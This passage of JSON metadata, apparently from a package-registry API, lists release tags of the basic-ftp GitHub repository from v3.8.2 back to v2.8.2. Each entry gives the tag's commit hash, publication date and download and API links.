ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2/manifests"},{"name":"v3.8.1","sha":"280d78828219235f67eac15fac1d155fb8ec0550","kind":"tag","published_at":"2019-08-14T18:05:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"df70dbf1aeeb33f36ca87bd49f7ef8bc78c6bd92","kind":"tag","published_at":"2019-07-25T16:05:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0/manifests"},{"name":"v3.7.1","sha":"7a2f635fc3f6c7796cd5507d9cef3d3034aeaa86","kind":"tag","published_at":"2019-07-19T07:11:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1/manifests"},{"name":"v3.7.0","sha":"8ea7c4258505d6e2d5f43efe130c52e73cc1658d","kind":"tag","published_at":"2019-06-26T12:16:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"b5bd1b7dd1db17b5653331a27ce1c643faa379f6","kind":"tag","published_at":"2019-06-05T13:25:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"f7f4302c90483296be5f9a76be4d92930da24e66","kind":"tag","published_at":"2019-04-19T07:28:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0/manifests"},{"name":"v3.4.4","sha":"bfb84f30151d0caae27c1fe0d24da2bfffefc697","kind":"tag","published_at":"2019-03-20T09:22:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4/manifests"},{"name":"v3.4.3","sha":"23236bf595a8766a8d84d58f5517a034be3ec8cb","kind":"tag","published_at":"2019-03-05T13:31:43.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3/manifests"},{"name":"v3.4.2","sha":"ec464e88599cb7555ac54334cb60b958c58383e5","kind":"tag","published_at":"2019-02-26T14:23:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2/manifests"},{"name":"v3.4.1","sha":"5ae8531c7b35f651d57a575883ebe448ac229995","kind":"tag","published_at":"2019-02-23T19:57:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1/manifests"},{"name":"v3.4.0","sha":"a4fcc6f911402913a02a4c769921763c11fcdba6","kind":"tag","published_at":"2019-02-23T13:17:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0/manifests"},{"name":"v3.3.1","sha":"bc3d03c424ea2b9ee89ac1d6cb1c2394927a4863","kind":"tag","published_at":"2019-02-19T07:04:15.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"f5da3ff41a4bdb0270c5fd6ed14824e88e4422fa","kind":"tag","published_at":"2019-02-18T16:21:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0/manifests"},{"name":"v3.2.2","sha":"92c9875609fb3c00b369475792fe41f2e5b1940c","kind":"tag","published_at":"2019-02-18T10:01:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2/manifests"},{"name":"v3.2.1","sha":"2c8497bb454ec84e9b319bf64869361019bdb537","kind":"tag","published_at":"2019-02-16T08:59:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"08b17d83ec374d42140097ef648845818d1bfeb4","kind":"tag","published_at":"2019-02-15T15:11:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b063cafb2cdc2318c5920cf1d63a906bcd2f315e","kind":"tag","published_at":"2019-01-20T18:48:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"ac00625e89372efdcd62d2361147af0e4b3ebb3f","kind":"tag","published_at":"2019-01-11T08:39:07.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"1b8ae5a577f6fad996eac4ffb6553593900ddcb8","kind":"tag","published_at":"2019-01-03T19:39:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0/manifests"},{"name":"v2.17.1","sha":"6909f1615674c4b07bfc383f83e0dc73fdd0e145","kind":"tag","published_at":"2018-12-29T09:54:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1/manifests"},{"name":"v2.17.0","sha":"9572a2ce24541e08ab75b3ff31b459aeb7c79c17","kind":"tag","published_at":"2018-12-04T18:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0/manifests"},{"name":"v2.16.1","sha":"e6203584e4fdcb8e9d2424ba49375c8205d02277","kind":"tag","published_at":"2018-12-01T15:36:05.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1/manifests"},{"name":"v2.16.0","sha":"d8029d07b3e0859f3912c291a39d8cb05d0c9dda","kind":"tag","published_at":"2018-11-14T21:41:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0/manifests"},{"name":"v2.15.0","sha":"d0d75c4b2fbb473e992868aa94df67f3b1a90ce8","kind":"tag","published_at":"2018-10-31T20:42:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.15.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0/manifests"},{"name":"v2.14.4","sha":"e75b70515a81586bd322598e478b53bb56e2bd4b","kind":"tag","published_at":"2018-10-24T19:18:03.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4/manifests"},{"name":"v2.14.3","sha":"2465775df11f56ec50b9302eb734c13892d4c546","kind":"tag","published_at":"2018-10-07T18:00:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3/manifests"},{"name":"v2.14.2","sha":"1e65d2ca5bd2863c5044f63a358f4e5d852375d2","kind":"tag","published_at":"2018-10-03T05:45:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2/manifests"},{"name":"v2.14.1","sha":"b7c2b4c8e4442998cfe3c82e1d386c09a9d3b35c","kind":"tag","published_at":"2018-10-03T05:38:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"71f4701a6f462377b0ff0d6381d329112726a6ba","kind":"tag","published_at":"2018-09-27T06:02:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0/manifests"},{"name":"v2.13.2","sha":"52b5ebdd9486cad6a5c8f3bd30a7c6dd167f9829","kind":"tag","published_at":"2018-06-30T13:11:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.2/manifests"},{"name":"v2.13.1","sha":"cc83329135e4b024c0bbdbbf9240478ff3418a3f","kind":"tag","published_at":"2018-06-09T17:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1/manifests"},{"name":"v2.13.0","sha":"542ce43aec992ba6d88f54f2fef281dcd2aad8d8","kind":"tag","published_at":"2018-06-05T20:06:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0/manifests"},{"name":"v2.12.3","sha":"092c29720715d9096bda60854be658e6fa69c17c","kind":"tag","published_at":"2018-05-27T09:50:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3/manifests"},{"name":"v2.12.2","sha":"98978f9ca78ab371001bdbf99085ee8c953b919f","kind":"tag","published_at":"2018-05-18T19:08:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2/manifests"},{"name":"v2.12.1","sha":"00e6e3d987579fd8ce9ff8472cee16bcf3b84c2c","kind":"tag","published_at":"2018-05-18T15:19:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1/manifests"},{"name":"v2.12.0","sha":"1c8f44b0ab6515d7ab703f68403a8da6a5b5046e","kind":"tag","published_at":"2018-05-11T15:47:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0/manifests"},{"name":"v2.11.0","sha":"0e2555f2c3272f5f4a62cfeb071a3b68ecbac343","kind":"tag","published_at":"2018-04-30T16:57:39.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.11.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0/manifests"},{"name":"v2.10.0","sha":"c5daa72a6223fe25ffde49118177e18417b00021","kind":"tag","published_at":"2018-04-23T20:11:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.10.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0/manifests"},{"name":"v2.9.2","sha":"95ff793953801008c26c719516296bbd14dd8b4e","kind":"tag","published_at":"2018-04-04T19:32:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"44b64e38a97a53a6897db55eb0d45a28f89598c2","kind":"tag","published_at":"2018-03-28T11:09:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"f4dada9373271daaa5e65935d8187fad743f121c","kind":"tag","published_at":"2018-03-17T10:05:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0/manifests"},{"name":"v2.8.3","sha":"07af61fa353f485cbc0741d00e24e3ccdd68d87d","kind":"tag","published_at":"2018-02-28T18:13:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"d19d6f8cc6262ed35c404169db2507b43ac9ba7a","kind":"tag","published_at":"2018-02-12T18:10:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.